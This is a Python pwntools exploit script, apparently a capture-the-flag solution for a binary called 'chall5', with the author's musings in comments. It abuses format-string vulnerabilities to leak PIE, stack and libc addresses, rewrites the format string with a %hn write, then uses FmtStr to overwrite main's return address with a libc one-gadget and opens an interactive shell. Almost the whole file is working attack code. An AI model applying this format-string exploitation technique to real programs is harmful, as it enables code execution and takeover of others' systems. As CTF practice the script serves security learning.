from pwn import *

# offset 11 is the first word of our input
# 3 leaks PIE
# 1 leaks stack
# 5 leaks libc
# wait what

# stack alignment???

"""
we have a few arb writes we can use, probably a max of 2 words


wait I leaked the stack offset, I can potentially overwrite the return
address - when main returns


can I do anything usefull with a null write...

I could modify the formatter!

if I could get it to be %92s that would be handy...
"""

"""
for i in range(0, 20):
    p = process("./chall5")

    print(i)
    p.sendlineafter("pass:", "AAAA%{}$08x".format(i))
    print p.recvline()
    p.close()

    #p.interactive()
"""

#p = process(["sh", "-c", "LD_PRELOAD=./libc-2.27.so ./ld-2.27.so ./chall5"]) # lol
p = process(["sh", "-c", "./connect.sh"])
elf = ELF("./chall5")

libc = ELF("./libc-2.27.so") # I should have been using this before
#libc = ELF("/usr/lib/libc.so.6")

p.sendlineafter("pass:", "%{}c%7$hn".format(u16("%s"))) #plz work...

# how many leaks can we fit in one input???
p.sendlineafter("pass:", "%3$x%1$x%5$x")

leak = p.recvline().split(" ")[1]

pie_leak = int(leak[:8], 16)
stack_leak = int(leak[8:16], 16)
libc_leak = int(leak[16:24], 16)

elf.address = pie_leak - 0x73c
libc.address = libc_leak - 0x1d5000

return_address = stack_leak + 0xe0

log.info(hex(pie_leak))
log.info(hex(stack_leak))
log.info(hex(libc_leak))

log.info("elf: " + hex(elf.address))
log.info("libc: " + hex(libc.address))

log.info("overwrite target: " + hex(return_address)) # need to fix this...

pause()

# now to implement arb write via printf
# do I dare use the pwntools generator????
# in reality we only need a partial write
# just the lower halfword
# assuming there is a magic gadget in libc

def send_payload(payload):
    log.info(payload)
    p.sendlineafter("pass:", payload)
    return p.recvline()

log.info(hex( libc.address + 0x13573f))
format_string = FmtStr(execute_fmt=send_payload, offset=11)
format_string.write(return_address, libc.address + 0x6729f)
format_string.execute_writes()

# hmm, the pointer to the format string is already on the stack
# just need to find it..... offset 7

#p.sendlineafter("pass:", p32(return_address) + "%{}c%11$hn".format(0x1337-4))

p.interactive()